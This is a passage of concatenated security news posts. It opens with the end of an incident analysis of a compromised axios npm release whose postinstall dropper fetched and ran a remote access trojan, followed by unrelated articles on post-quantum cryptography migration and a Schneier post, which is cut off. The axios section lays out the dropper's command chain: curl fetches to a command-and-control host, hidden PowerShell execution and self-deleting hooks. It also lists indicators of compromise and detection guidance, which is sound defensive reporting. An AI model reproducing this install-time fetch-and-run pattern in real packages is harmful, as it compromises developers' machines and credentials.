href="https://gist.github.com/joe-desimone/f9b205b6a5c2a826987e27b6ecc84c05" rel="noopener"><em>axios_macho_malware.md</em></a><em>.</em></p><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="complete-attack-chain">Complete Attack Chain</h2><pre class="wp-block-code"><code>Developer runs: npm install <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="badbc2d3d5c9fa8b948b8e948b">[email protected]</a> (or 0.30.4) Attacker published via compromised npm maintainer account (No corresponding git tags in the axios GitHub repo) <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b5d4cddcdac6f5849b84819b84">[email protected]</a> └── <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="384854595156155b4a41484c5715524b780c160a1609">[email protected]</a> └── postinstall: node setup.js │ ├── [macOS] │ AppleScript → curl POST packages.npm.org/product0 │ → /Library/Caches/com.apple.act.mond (chmod 770) │ → nohup zsh "...act.mond http://sfrclak.com:8000/6202033" │ ├── [Windows] │ copy powershell.exe → %PROGRAMDATA%\wt.exe │ VBS → curl POST packages.npm.org/product1 → .ps1 │ → wt.exe -w hidden -ep bypass -file .ps1 │ └── [Linux] curl POST packages.npm.org/product2 → /tmp/ld.py → nohup python3 /tmp/ld.py [C2 URL] setup.js self-destructs: unlink(setup.js) unlink(package.json) ← removes postinstall hook rename(package.md → package.json) ← package looks clean RAT beacons every 60s to http://sfrclak.com:8000/6202033 → operator can push binaries, run shell commands, enumerate files </code></pre><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="impact-and-risk-assessment">Impact and Risk Assessment</h2><p>Developer machines are high-value targets. They typically hold SSH private keys, cloud provider credentials (AWS, GCP, Azure), npm and PyPI publish tokens, .env files for staging and production environments, database connection strings, and VPN certificates. A RAT with arbitrary command execution and binary injection on a developer workstation gives an attacker a persistent foothold that can propagate into production infrastructure.</p><p>The 60-second polling loop and the peinject capability mean that an attacker can adapt their intrusion over time. The initial payload may have been an infostealer or credential harvester. Days or weeks later, the same implant can receive a new binary with different capabilities.</p><p>CI/CD pipelines are an additional concern. Many organizations run npm install in automated build environments. If the affected axios versions were installed during a build window, the dropper would have run in the CI/CD context, with access to whatever secrets and permissions that environment holds.</p><p>The absence of git tags for the malicious versions also means dependency scanning tools that cross-reference npm packages against source repositories may have failed to flag anything unusual. The packages appeared to be valid axios releases by all metadata checks.</p><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="timeline">Timeline</h2><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Date/Time (UTC)</strong></th> <th><strong>Event</strong></th> </tr> </thead> <tbody> <tr> <td>March 27, 2026</td> <td>axios v1.14.0 published legitimately to npm with corresponding git tag</td> </tr> <tr> <td>March 30-31, 2026</td> <td>Attacker publishes axios v1.14.1 and v0.30.4 via compromised npm account. npm maintainer email changed to <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c3aaa5b0b7a2b383b3b1acb7acadedaea6">[email protected]</a>. No git tags created. plain-crypto-js v4.2.1 included as dependency.</td> </tr> <tr> <td>March 31, 01:38 UTC</td> <td>axios maintainer merges <a href="https://github.com/axios/axios/pull/10591" rel="noopener">PR #10591</a> adding deprecate.yml workflow</td> </tr> <tr> <td>March 31, 03:00 UTC</td> <td>Community files <a href="https://github.com/axios/axios/issues/10604" rel="noopener">issue #10604</a> publicly reporting the compromise</td> </tr> <tr> <td>March 31 (ongoing)</td> <td>C2 at sfrclak.com:8000 goes offline. Deprecation of malicious versions in progress.</td> </tr> </tbody> </table> </figure><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="indicators-of-compromise">Indicators of Compromise</h2><h3 class="wp-block-heading" id="network">Network</h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Indicator</strong></th> <th><strong>Value</strong></th> </tr> </thead> <tbody> <tr> <td>C2 domain</td> <td>sfrclak.com</td> </tr> <tr> <td>C2 IP</td> <td>142.11.206.73</td> </tr> <tr> <td>C2 port</td> <td>8000</td> </tr> <tr> <td>C2 URL</td> <td>http://sfrclak.com:8000/6202033</td> </tr> <tr> <td>User-Agent</td> <td>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</td> </tr> <tr> <td>macOS POST body</td> <td>packages.npm.org/product0</td> </tr> <tr> <td>Windows POST body</td> <td>packages.npm.org/product1</td> </tr> <tr> <td>Linux POST body</td> <td>packages.npm.org/product2</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="file-system">File System</h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Indicator</strong></th> <th><strong>Platform</strong></th> <th><strong>Notes</strong></th> </tr> </thead> <tbody> <tr> <td>/Library/Caches/com.apple.act.mond</td> <td>macOS</td> <td>RAT binary</td> </tr> <tr> <td>/tmp/6202033</td> <td>macOS</td> <td>AppleScript loader, deleted after use</td> </tr> <tr> <td>/private/tmp/.XXXXXX</td> <td>macOS</td> <td>Injected binaries from peinject commands</td> </tr> <tr> <td>%PROGRAMDATA%\wt.exe</td> <td>Windows</td> <td>Cloned PowerShell binary</td> </tr> <tr> <td>%TEMP%\6202033.vbs</td> <td>Windows</td> <td>VBS wrapper, deleted after use</td> </tr> <tr> <td>%TEMP%\6202033.ps1</td> <td>Windows</td> <td>PS1 payload, deleted after use</td> </tr> <tr> <td>/tmp/ld.py</td> <td>Linux</td> <td>Python stage-2 payload</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="file-hashes-macos-rat">File Hashes (macOS RAT)</h3><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>Algorithm</strong></th> <th><strong>Hash</strong></th> </tr> </thead> <tbody> <tr> <td>SHA256</td> <td>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</td> </tr> <tr> <td>SHA1</td> <td>13ab317c5dcab9af2d1bdb22118b9f09f8a4038e</td> </tr> <tr> <td>MD5</td> <td>7a9ddef00f69477b96252ca234fcbeeb</td> </tr> </tbody> </table> </figure><h3 class="wp-block-heading" id="process-and-behavioral">Process and Behavioral</h3><ul class="wp-block-list"> <li>codesign –force –deep –sign – invoked on a binary in /private/tmp/</li> <li>ps -eo user,pid,command execution by a non-interactive process</li> <li>osascript with a .scpt file in /tmp/</li> <li>nohup launch of a file in /Library/Caches/ on macOS</li> <li>PowerShell invoked with -w hidden -ep bypass from a non-shell parent process</li> <li>Outbound HTTP POST to port 8000 with body resembling npm registry paths</li> </ul><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="detection">Detection</h2><h3 class="wp-block-heading" id="npm-audit">npm Audit</h3><p>Check whether your project directly or transitively depends on plain-crypto-js at any version, and whether the affected axios versions were installed:</p><pre class="wp-block-code"><code>npm ls plain-crypto-js cat package-lock.json | grep -A3 "plain-crypto-js" # Check if either malicious version is in your lock file grep -E '"axios".*"(1\.14\.1|0\.30\.4)"' package-lock.json </code></pre><p><em>Figure 4: Commands to check for the malicious package in a Node.js project.</em></p><h3 class="wp-block-heading" id="network-detection">Network Detection</h3><p>Block or alert on outbound connections to sfrclak.com and 142.11.206.73:8000 at the firewall and DNS level. In proxy logs, alert on the User-Agent mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) from any non-Windows host, or from any host making POST requests to port 8000.</p><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="remediation">Remediation</h2><p><strong>If you installed axios 1.14.1 or 0.30.4:</strong></p><ol class="wp-block-list"> <li>Treat the machine as compromised. Do not use it to access sensitive credentials or production systems until it has been imaged and rebuilt.</li> <li>Rotate all credentials that were accessible on the machine: SSH keys, cloud provider keys, npm tokens, .env secrets, API keys, database passwords.</li> <li>Check for the persistence artifacts listed in the IOC table above. Presence of /Library/Caches/com.apple.act.mond on macOS or %PROGRAMDATA%\wt.exe on Windows confirms the second stage ran.</li> <li>Review CI/CD logs for the affected time window. If any pipeline ran npm install with these versions, rotate all secrets used in that environment.</li> <li>Check your package-lock.json for any reference to plain-crypto-js. If it is present, the package was resolved and the postinstall hook may have run.</li> </ol><h2 class="wp-block-heading" id="conclusion">Conclusion</h2><p>This attack demonstrates how effective the npm account compromise is as an initial access vector. The malicious code required no GitHub access, no pull request, no code review bypass. A single stolen npm credential was enough to publish malicious packages under a trusted name with 50 million weekly downloads.</p><p>The macOS second stage is professionally written: a compiled C++ binary with structured C2 communication, four distinct operator capabilities including arbitrary binary injection, and architecture designed for infrastructure reuse. The Windows and Linux stages remain unconfirmed pending sample recovery.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/poisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install/" data-a2a-title="Poisoned Axios: npm Account Takeover, 50 Million Downloads, and a RAT That Vanishes After Install"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpoisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install%2F&amp;linkname=Poisoned%20Axios%3A%20npm%20Account%20Takeover%2C%2050%20Million%20Downloads%2C%20and%20a%20RAT%20That%20Vanishes%20After%20Install" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpoisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install%2F&amp;linkname=Poisoned%20Axios%3A%20npm%20Account%20Takeover%2C%2050%20Million%20Downloads%2C%20and%20a%20RAT%20That%20Vanishes%20After%20Install" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpoisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install%2F&amp;linkname=Poisoned%20Axios%3A%20npm%20Account%20Takeover%2C%2050%20Million%20Downloads%2C%20and%20a%20RAT%20That%20Vanishes%20After%20Install" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpoisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install%2F&amp;linkname=Poisoned%20Axios%3A%20npm%20Account%20Takeover%2C%2050%20Million%20Downloads%2C%20and%20a%20RAT%20That%20Vanishes%20After%20Install" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fpoisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install%2F&amp;linkname=Poisoned%20Axios%3A%20npm%20Account%20Takeover%2C%2050%20Million%20Downloads%2C%20and%20a%20RAT%20That%20Vanishes%20After%20Install" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.mend.io">Mend</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Tom Abai">Tom Abai</a>. Read the original post at: <a href="https://www.mend.io/blog/poisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install/">https://www.mend.io/blog/poisoned-axios-npm-account-takeover-50-million-downloads-and-a-rat-that-vanishes-after-install/</a> </p>

<p><span data-contrast="none">Security soothsayers predict we’ll reach Q-day, when quantum computers can break current encryption, sometime in the 2030s. But Google plans to be ready before that—aggressively targeting 2029 as the deadline </span><a href="https://blog.google/innovation-and-ai/technology/safety-security/cryptography-migration-timeline/" target="_blank" rel="noopener"><span data-contrast="none">to migrate completely</span></a><span data-contrast="none"> to post-quantum cryptography.</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">That puts Google well ahead of the NSA, which plans to move to PQC by 2031—other government agencies are aiming for 2035.</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Noting that “quantum computers will pose a significant threat to current cryptographic standards, and specifically to encryption and digital signatures,” Google wrote in a blog that “the threat to encryption is relevant today with </span><a href="https://security.googleblog.com/2024/08/post-quantum-cryptography-standards.html" target="_blank" rel="noopener"><span data-contrast="none">store-now-decrypt-later attacks</span></a><span data-contrast="none">, while digital signatures are a future threat that require the transition to PQC before a Cryptographically Relevant Quantum Computer (CRQC).” It adjusted its timeline accordingly to “prioritize PQC migration for authentication services,” which it points out is “an important component of online security and digital signature migrations.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">The company said it is its “responsibility to lead by example and share an ambitious timeline. By doing this, we hope to provide the clarity and urgency needed to accelerate digital transitions not only for Google, but also across the industry.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="auto">And Google is offering a sign of good faith, underscoring its migration plans. “As an example of our ongoing PQC commitments, </span><a href="http://security.googleblog.com/2026/03/post-quantum-cryptography-in-android.html" target="_blank" rel="noopener"><span data-contrast="auto">Android 17 is integrating PQC digital signature protection using ML-DSA</span></a><span data-contrast="auto"> in alignment with the National Institute of Standards and Technology (NIST),” according to the blog post. “This continues to put advanced PQC technology directly into the hands of our customers, building on our </span><a href="https://cloud.google.com/security/resources/post-quantum-cryptography?e=48754805" target="_blank" rel="noopener"><span data-contrast="auto">Google Chrome support for PQC</span></a><span data-contrast="auto">, </span><a href="https://cloud.google.com/blog/products/identity-security/how-were-helping-customers-prepare-for-a-quantum-safe-future?e=48754805"><span data-contrast="auto">providing PQC solutions in </span></a>the cloud<span data-contrast="auto"> and </span><a href="https://cloud.google.com/blog/products/identity-security/why-google-now-uses-post-quantum-cryptography-for-internal-comms" target="_blank" rel="noopener"><span data-contrast="auto">insights and guidance for leaders</span></a><span data-contrast="auto"> on their PQC journey.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">“Google’s announcement of a 2029 timeline for postquantum cryptography migration reinforces how quickly the cryptographic landscape is evolving,” says Jason Soroko, senior fellow at Sectigo. </span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">That same year, Soroko says, “the CA/Browser Forum will reduce the maximum SSL/TLS certificate lifespan to just 47 days, a 12× increase in renewal frequency that fundamentally changes how organizations must operate.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Currently, Sectigo’s </span><a href="https://www.sectigo.com/uploads/resources/Sectigo-State-of-Crypto-Agility-Report-2025.pdf" target="_blank" rel="noopener"><span data-contrast="none">research shows</span></a><span data-contrast="none"> that “90% of organizations see a direct overlap between preparing for short-lived certificates and preparing for PQC adoption.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">And, he says, the “parallel 2029 deadlines are not coincidental; they represent two sides of the same challenge: preparing for a world where cryptography must be updated far more frequently and with far greater agility.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Indeed, the “convergence of these deadlines is in some way harmonious: As Google advances the PQC timeline, and as certificate validity shrinks to 47 days, the ecosystem must move together,” Soroko says.</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">“Continued collaboration through the IETF and the CA/Browser Forum will be essential to ensuring that organizations can rotate keys, algorithms, and certificates quickly and safely, building the agility needed to secure the quantum era,” he explains.</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="none">Sectigo’s research </span><span data-contrast="auto">indicates that organizations “appear to be taking PQC preparation more seriously than the upcoming shift to 47-day certificate lifespans, even though the deadlines attached to certificate lifespans occur sooner,” suggesting that  “PQC is viewed as a strategic, long-term imperative tied to existential threats, whereas the 47-day change is seen as a more tactical, operational hurdle.” The research found that 14% of organizations “have done a full assessment of quantum-vulnerable systems, while 90% have budgets allocated to PQC preparedness initiatives in the next 12 months and a few more than that (92 percent) plan to increase their investments in PQC over the next 2-3 years”.</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="auto">Sectigo says that taking PQC more seriously than shortened certificated lifespans “may underestimate the urgency of near-term risks: Failure to prepare for shortened certificate lifespans is far more likely to result in immediate outage, application failure, and trust disruption.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><p><span data-contrast="auto">The shorter certificate lifespan is solvable and can be automated, the research contends, “While PQC represents a future-breaking threat, the 47-day challenge poses a present-breaking one, and both require equal prioritization in any robust crypto agile strategy.”</span><span data-ccp-props='{"201341983":0,"335557856":16777215,"335559739":0,"335559740":240}'> </span></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/google-aggressively-targets-2029-to-migrate-fully-to-pqc/" data-a2a-title="Google Aggressively Targets 2029 to Migrate Fully to PQC "><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fgoogle-aggressively-targets-2029-to-migrate-fully-to-pqc%2F&amp;linkname=Google%20Aggressively%20Targets%202029%20to%20Migrate%20Fully%20to%20PQC%C2%A0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fgoogle-aggressively-targets-2029-to-migrate-fully-to-pqc%2F&amp;linkname=Google%20Aggressively%20Targets%202029%20to%20Migrate%20Fully%20to%20PQC%C2%A0" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fgoogle-aggressively-targets-2029-to-migrate-fully-to-pqc%2F&amp;linkname=Google%20Aggressively%20Targets%202029%20to%20Migrate%20Fully%20to%20PQC%C2%A0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fgoogle-aggressively-targets-2029-to-migrate-fully-to-pqc%2F&amp;linkname=Google%20Aggressively%20Targets%202029%20to%20Migrate%20Fully%20to%20PQC%C2%A0" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fgoogle-aggressively-targets-2029-to-migrate-fully-to-pqc%2F&amp;linkname=Google%20Aggressively%20Targets%202029%20to%20Migrate%20Fully%20to%20PQC%C2%A0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<p><span data-contrast="auto">Data is absolutely sacrosanct, and cryptographic systems are the beating heart of data security. Encryption protects financial transactions, secures corporate networks and safeguards healthcare records. Encryption is considered fundamentally reliable, but a technological shift is challenging this assumption. </span><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></p><p><span data-contrast="auto">Quantum computing has gone beyond a topic of discussion within research circles and is now rapidly moving toward practical capability. Its arrival will set the proverbial cat amongst the encryption pigeons, altering the balance between encryption and computation. Encryption designed for classical computing will be no match for a sufficiently powerful quantum computer, which can render current encryption systems obsolete.</span><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></p><p><span data-contrast="auto">With almost</span><a href="https://www.itpro.com/security/90-percent-of-companies-are-woefully-unprepared-for-quantum-security-threats-analysts-say-they-need-to-get-a-move-on"><span data-contrast="auto"> </span></a><a href="https://www.itpro.com/security/90-percent-of-companies-are-woefully-unprepared-for-quantum-security-threats-analysts-say-they-need-to-get-a-move-on" target="_blank" rel="noopener"><span data-contrast="none">90%</span></a><span data-contrast="auto"> of organizations unprepared for quantum-led cybersecurity threats, the time to <a href="https://securityboulevard.com/2026/03/post-quantum-cryptography-for-authentication-the-enterprise-migration-guide-2026/" target="_blank" rel="noopener">shift to a post-quantum security posture</a> has arrived. Organizations need time to transition to this posture because this is not merely another upgrade: it represents a structural change in how digital security must be designed, managed, and maintained.</span><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></p><h3><b><span data-contrast="auto">Why are Organizations Delaying the Post-Quantum Shift?</span></b><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></h3><p><span data-contrast="auto">The clock’s ticking on quantum risk. Threat actors are already stealing vast quantities of encrypted data, not because they can break encryption today, but because they plan on doing so tomorrow. This strategy, known as “harvest now, decrypt later,” makes quantum threat a current, not a future, problem. Organizations must start assessing quantum risk and ground this in business reality.  But not everyone is preparing for a post-quantum world.</span><span data-ccp-props='{"335559738":240}'> </span></p><p><span data-contrast="none">The key reason here is that e</span><span data-contrast="auto">stimates of the arrival of large-scale quantum computers remain uncertain. This means most organizations are struggling to assign operational relevance to the risk. Secondly, cybersecurity teams are already overwhelmed with immediate threats; adding more to the security agenda will stretch them even thinner. Also, quantum risk seems abstract since the absence of a clear deadline can be categorized as a problem of the future that can be tackled later. </span><span data-ccp-props='{"335559738":240}'> </span></p><p><span data-contrast="auto">History shows that technological transitions in infrastructure rarely happen quickly. When foundational systems need to change, migration timelines can stretch across decades. A case in point is the migration from IPv4 to IPv6 that began in the late 1990s, yet only</span><a href="https://blogs.cisco.com/industries/ipv6-in-2025-transitioning-to-ipv6"><span data-contrast="auto"> </span></a><a href="https://blogs.cisco.com/industries/ipv6-in-2025-transitioning-to-ipv6" target="_blank" rel="noopener"><span data-contrast="none">45-50%</span></a><span data-contrast="auto"> of global internet traffic uses IPv6.</span><span data-ccp-props='{"335559738":240}'> </span></p><h3><b><span data-contrast="auto"> A Practical Roadmap for Post-Quantum Readiness</span></b><span data-ccp-props='{"335559738":240}'> </span></h3><p><span data-contrast="auto">The scale of the post-quantum transition is absolutely massive. We are talking about cryptographic transition across the digital infrastructure, including operating systems, cloud platforms, authentication systems, third-party software, legacy enterprise applications, and more. The practical starting point for leaders is therefore creating a cryptographic inventory. They should build a complete inventory of encryption used within their environments, the algorithms deployed, and the internal infrastructure and services provided by external partners and vendors.</span><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></p><p><span data-contrast="auto">Once visibility is established, the focus should be on migrating to quantum-resistant cryptography. </span><a href="https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards" target="_blank" rel="noopener"><span data-contrast="none">NIST</span></a><span data-contrast="auto"> has already published the first three post-quantum crypto standards, providing an initial blueprint for transitioning away from traditional public-key algorithms. Organizations like</span><a href="https://blog.google/innovation-and-ai/technology/safety-security/the-quantum-era-is-coming-are-we-ready-to-secure-it/"><span data-contrast="auto"> </span></a><a href="https://blog.google/innovation-and-ai/technology/safety-security/the-quantum-era-is-coming-are-we-ready-to-secure-it/" target="_blank" rel="noopener"><span data-contrast="none">Google</span></a><span data-contrast="auto"> are already well on their way to migrating infrastructure to post-quantum cryptography.</span><span data-ccp-props='{"335559738":240}'> </span></p><h3><span data-contrast="auto"> </span><b><span data-contrast="auto">A Collective Approach Works Best for Quantum Transition</span></b><span data-ccp-props='{"335559738":240}'> </span></h3><p><span data-contrast="auto">Developments in quantum computing and post-quantum cryptography are not limited to any particular country. It is a global effort; however, the sore thumb is that cybersecurity governance is fragmented along national or industry lines. While NIST has established its standards, countries like China and South Korea have their own cryptographic approaches. These standards shouldn’t compete with one another. Global collaboration by governments, standards bodies, and technology providers should ensure businesses can leverage interoperable security frameworks. </span><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></p><p><span data-contrast="auto">Organizations should work from the assumption that standardization of algorithms and their adoption will mean they will be scrutinized, attacked, weakened, and broken. Stronger algorithms will need to replace them. This is why a key element in any future-ready post-quantum security strategy is cryptography agility. It allows organizations to design systems that can adapt to new cryptographic algorithms with ease. The focus should be on baking resilience into cryptographic architecture, leveraging adaptable systems, and continuously validating cryptographic implementations.</span><span data-ccp-props='{"335559738":240,"335559739":240}'> </span></p><h3><b><span data-contrast="auto">To Conclude</span></b><span data-ccp-props='{"335559738":240}'> </span></h3><p><span data-contrast="auto">Post-quantum readiness is a tough nut to crack, but not if we approach it in a step-by-step manner. Get the basics down. Build a comprehensive inventory of cryptographic assets. Align cybersecurity frameworks with emerging standards. Develop cryptographic agility. Smaller organizations cannot escape the reality of quantum threats—their transition will be directly linked to the security posture of their vendors, their cloud providers, and their platforms. Organizations must ask the right questions about post-quantum readiness, cryptographic roadmaps, and support for emerging crypto standards. Irrespective of company size, achieving quantum-safe security presents a huge structural change. Organizations that not only plan but also execute this plan early will be better positioned to address post-quantum threats.</span><span data-ccp-props='{"335559738":240}'> </span><span data-ccp-props='{"335559738":240}'> </span></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/the-quantum-clock-is-ticking-and-your-encryption-is-running-out-of-time/" data-a2a-title="The Quantum Clock is Ticking and Your Encryption is Running Out of Time "><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fthe-quantum-clock-is-ticking-and-your-encryption-is-running-out-of-time%2F&amp;linkname=The%C2%A0Quantum%20Clock%20is%20Ticking%C2%A0and%20Your%20Encryption%20is%20Running%20Out%20of%20Time%C2%A0" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fthe-quantum-clock-is-ticking-and-your-encryption-is-running-out-of-time%2F&amp;linkname=The%C2%A0Quantum%20Clock%20is%20Ticking%C2%A0and%20Your%20Encryption%20is%20Running%20Out%20of%20Time%C2%A0" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fthe-quantum-clock-is-ticking-and-your-encryption-is-running-out-of-time%2F&amp;linkname=The%C2%A0Quantum%20Clock%20is%20Ticking%C2%A0and%20Your%20Encryption%20is%20Running%20Out%20of%20Time%C2%A0" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fthe-quantum-clock-is-ticking-and-your-encryption-is-running-out-of-time%2F&amp;linkname=The%C2%A0Quantum%20Clock%20is%20Ticking%C2%A0and%20Your%20Encryption%20is%20Running%20Out%20of%20Time%C2%A0" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fthe-quantum-clock-is-ticking-and-your-encryption-is-running-out-of-time%2F&amp;linkname=The%C2%A0Quantum%20Clock%20is%20Ticking%C2%A0and%20Your%20Encryption%20is%20Running%20Out%20of%20Time%C2%A0" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div>

<p>Charles Bennett and Gilles Brassard have <a href="https://www.nytimes.com/2026/03/18/technology/turing-award-winners-quantum-cryptography.html">won</a> the 2026 Turing Award for inventing quantum cryptography.</p><p>I am incredibly pleased to see them get this recognition. I have always thought the technology to be fantastic, even though I think it’s largely unnecessary. I wrote up my thoughts back in 2008, in an &lt;a href+https://www.schneier.com/essays/archives/2008/10/quantum_cryptography.html”&gt;essay titled “Quantum Cryptography: As Awesome As It Is Pointless.”</p><p>Back then, I wrote:</p><blockquote> <p>While I like the science of quantum cryptography—my undergraduate degree was in physics—I don’t see any commercial value in it. I don’t believe it solves any security problem that needs solving. I don’t believe that it’s worth paying for, and I can’t imagine anyone but a few technophiles buying and deploying it. Systems that use it don’t magically become unbreakable, because the quantum part doesn’t address the weak points of the system.</p> <p>Security is a chain; it’s as strong as the weakest link. Mathematical cryptography, as bad as it sometimes is, is the strongest link in most security chains. Our symmetric and public-key algorithms are pretty good, even though they’re not based on much rigorous mathematical theory. The real problems are elsewhere: computer security, network security, user interface and so on.</p> <p>Cryptography is the one area of security that we can get right. We already have good encryption algorithms, good authentication algorithms and good key-agreement protocols. Maybe quantum cryptography can make that link stronger, but why would anyone bother? There are far more serious security problems to worry about, and it makes much more sense to spend effort securing those.</p> <p>As I’ve often said, it’s like defending yourself against an approaching attacker by putting a huge stake in the ground. It’s useless to argue about whether the stake should be 50 feet tall or 100 feet tall, because either way, the attacker is going to go around it. Even quantum cryptography doesn’t “solve” all of cryptography: The keys are exchanged with photons, 